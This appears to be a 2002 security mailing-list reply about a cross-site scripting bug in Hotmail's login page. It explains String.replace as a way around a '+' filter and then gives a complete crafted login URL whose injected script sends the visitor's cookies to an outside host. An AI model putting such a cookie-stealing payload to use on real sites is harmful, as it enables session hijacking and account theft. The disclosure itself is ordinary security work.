RE: XSS bug in hotmail login page

[Thor Larholm <Thor () jubii dk>]

> From: Russell Harding [mailto:hardingr () cunap com]
> Is there another way to exploit this which I am not 
> seeing? Or does MSN actually have their act together
>  (in this particular case...)?
>
>       -Russell
>
> P.S. Well, I suppose the real question may be this:
> Is there a way to concatenate javascript strings without "+" or "%2B"?

Sure there is, the first that springs to mind is to use the replace method
which all strings have:

var myString = "hi $".replace('$','monkeyboy');
alert( myString ); // alerts "hi monkeyboy"

The first argument can be both a string or a regular expression.

http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=&id=2&fs=1&cb=";><sc
ript>location.replace('http://jscript.dk/2002/10/sec/querystring.asp?$'.repl
ace('$',document.cookie));</script>&ct=1033054530&_setlang=",,-1,0,,,,




Regards
Thor Larholm
Jubii A/S - Internet Programmer